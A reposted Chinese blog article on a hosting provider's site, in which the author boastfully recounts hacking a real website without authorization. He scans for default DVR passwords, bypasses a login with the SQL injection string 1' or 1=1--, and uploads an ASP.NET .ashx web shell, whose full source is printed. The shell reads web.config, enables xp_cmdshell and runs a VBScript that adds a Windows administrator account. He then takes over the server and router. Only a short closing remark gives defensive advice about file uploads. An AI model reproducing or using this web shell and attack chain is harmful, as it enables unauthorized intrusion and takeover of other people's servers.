用户名: 密码: 忘记密码?
网站地图 关于我们 汇款方式 收藏本站 设为首页
网站首页 香港服务器 美国服务器 台湾服务器 VPS服务器 亚洲服务器 欧洲服务器 国内服务器 站长学院
  香港服务器,香港服务器租用,香港VPS,美国服务器,美国服务器租用,美国VPS,韩国服务器租用-讯辰网络科技国外服务器
   
香港服务器 点击咨询
美国服务器 点击咨询
服务器托管 点击咨询
服务器租用 点击咨询
服务器知识导航
 服务器托管知识
 服务器租用知识
 服务器租用价格和交费
 IDC新闻
 机柜问题解答
 各地机房带宽线路介绍
 服务器安全配置及入侵防范
 海外服务器租用知识
 国外服务器相关文章
 网站优化SEO技术
 服务器租用配置教程
 美国机房最新优惠活动
 美国机房介绍
 香港机房介绍
 游戏服务器相关新闻
 
本周热卖服务器
 HS高防服务器-1型
 HS高防服务器-2型
 HS高防服务器-5型
 HS高防服务器-6型
 HS高防服务器-4型
 HS高防服务器-3型
 HKNTT-01型
 韩国服务器租用KT-6型
 韩国服务器租用KT-4型
 韩国服务器租用KT-3型
 韩国服务器租用KT-2型
 韩国服务器租用KT-1型
 HKNWT-01型
 HKPCCW-01型
 HK10M-01型
 韩国服务器租用KT-5型
 台湾中华电信服务器-3型
 HKWTT-01型
 台湾中华电信服务器-1型
 HKPCCW-04型
 HKPCCW-07型
 台湾服务器租用是方电讯电信4核Q
 台湾服务器是方电讯租用E7300
 台湾是方电讯服务器租用E6300
 台湾服务器租用是方电讯E5300
 台湾服务器是方电信E2200
 台湾中华电信服务器-2型
 
你的位置:首页 —> 服务器知识 —> 服务器安全配置及入侵防范 —> 详细正文
ASP.NET网站的入侵和如何避免被入侵
(转载:www.idcew.com)

首先我要申明的是不是什么语言写出来的程序就不安全,而是得看写代码的人如何去写这个程序。

前些日子我去客户那调研,发现客户的监控系统用的是海康威视的硬盘录像机,然后默认用户名是amdin 密码是12345,回来后就想玩一玩看看有多少人用的是默认密码,于是就写了个扫描程序,很快扫描到了一大批网站,也得到很多采用的是默认用户名和密码。

玩了一两天后发现没什么好玩的,就随便在里面找找扫描记录,看到一些后台登陆地址,于是就都测试下,然后就发现了这个网站:

网站入侵 网站服务器 网站安全 网站优化

最开始我是测试弱口令:

admin  amdin  等,随便测试了几个,没成功,于是开始测试sql的防注入,用户名输入 1' or 1=1-- 密码随便输了个1 登陆,居然登陆成功了……

网站入侵 网站服务器 网站安全 网站优化

但发现登陆进来后报错了!!!想了下可能是用户名的问题,于是就找页面看看能不能看到我的登陆用户名,最后找到写邮件里面看到了

当然如果入侵只到这 你肯定会绝对弱爆了…… 其实当然也是,因为我拿下了他的数据和程序。当然最好拿下了他的服务器,得知他服务器是做的端口映射,于是又拿下了他的路由 器,然后就没有再继续往下进行了,当然还可以继续下去,比如 路由器的dns劫持,页面重定向,端口镜像等等

下面我开始介绍主要入侵页面,文件上传页面:

网站入侵 网站服务器 网站安全 网站优化

自己写了个ashx页面,上传

代码很简单,就是读取网站的web.config文件然后以文本形式输出,

我先简单说下入侵流程:

1、读取web.config得到数据库连接

2、利用SQL Server执行命令添加Windows用户(因为网站默认是iis用户,没有权限直线net等相关操作,但SQL Server是基于本地服务运行的,权限很高)

我贴出我上传的ashx文件代码:

  1. <%@ WebHandler Language="C#" Class="TextLd" %> 
  2. using System; 
  3. using System.Collections.Generic; 
  4. using System.Linq; 
  5. using System.Web; 
  6. using System.Data.SqlClient; 
  7.     public class TextLd : IHttpHandler 
  8.     { 
  9.         public void CreateLocalUser(string newPath) 
  10.         { 
  11.             System.Diagnostics.Process.Start(@"d:\1.vbs"); 
  12.             System.IO.File.WriteAllText(@"d:\1.vbs""set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 
  13.         } 
  14.         public void ShowWebConfig(HttpContext context) 
  15.         { 
  16.             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 
  17.         } 
  18.         public void WriteVbs(HttpContext context) 
  19.         { 
  20.             System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 
  21.         } 
  22.         public void ExecuteSql(string connection, string sql) 
  23.         { 
  24.             using (SqlConnection con = new SqlConnection(connection)) 
  25.             { 
  26.                 using (SqlCommand commd = new SqlCommand(sql, con)) 
  27.                 { 
  28.                     con.Open(); 
  29.                     commd.ExecuteNonQuery(); 
  30.                     con.Close(); 
  31.                 } 
  32.             } 
  33.         } 
  34.         public void ProcessRequest(HttpContext context) 
  35.         { 
  36.             context.Response.ContentType = "text/plain"
  37.             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 
  38.             try 
  39.             { 
  40.                 var connection = context.Request.QueryString["connection"]; 
  41.                 switch (context.Request.QueryString["method"]) 
  42.                 { 
  43.                     case "1": WriteVbs(context); break
  44.                     case "2"
  45.                         ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure"); 
  46.                         ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell 
  47.                         break
  48.                     case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'"); 
  49.                         break
  50.                     default
  51.                         ShowWebConfig(context); 
  52.                         break
  53.                 } 
  54.             } 
  55.             catch (Exception ex) 
  56.             { 
  57.                 context.Response.Write(ex.Message); 
  58.             } 
  59.             context.Response.End(); 
  60.         } 
  61.         public bool IsReusable 
  62.         { 
  63.             get 
  64.             { 
  65.                 return false
  66.             } 
  67.         } 
  68.     }

然后一次执行,就这样服务器就被我拿下了! 建立了一个用户名为test密码是1234的超级管理员用户,于是测试下远程连接

网站入侵 网站服务器 网站安全 网站优化

然后弄干啥,大家都知道的……

当然,如果不拿下他服务器,你想想你都能直线你自己写的代码了……什么坏事干不了。。。 当然本人只是测试了下可行性,就算不拿下服务器,执行sql语句把他数据库备份下载下来拿还不是分分钟的事情?

好了 我来总结下這次入侵吧,最主要的娄底其实不是他的sql注入(个人觉得,当然他是导火索),而是文件上传,大部分程序员在写文件上传功能的时候,之前客户上传过来的文件保存到网站目录下的某个文件夹,不做任何处理,这也就是导致了他服务器被我拿下的最主要的入口。

所以我还是奉劝大家一下,做文件上传还是对文件进行下处理比较好,具体怎么处理我想聪明的你肯定有很多方法……

小学文化的我伤不起啊…… 原谅我文采不好,你们将就着看吧!

(转载:www.idcew.com)
 
上一篇:网站站长必读:如何保障您的网站服务器安全 下一篇:什么是横向钓鱼攻击,以及如何防范
关于我们 | 汇款方式 | 联系我们 | 网站地图sitemap | 友情链接 | 营业执照证件
讯辰网络科技 Copyright @ 2001-2012 www.idcew.com All Rights Reserved         鄂ICP备19024917号
 联系QQ: 97008092 97008093 EMAIL:idcew@hotmail.com
在线客服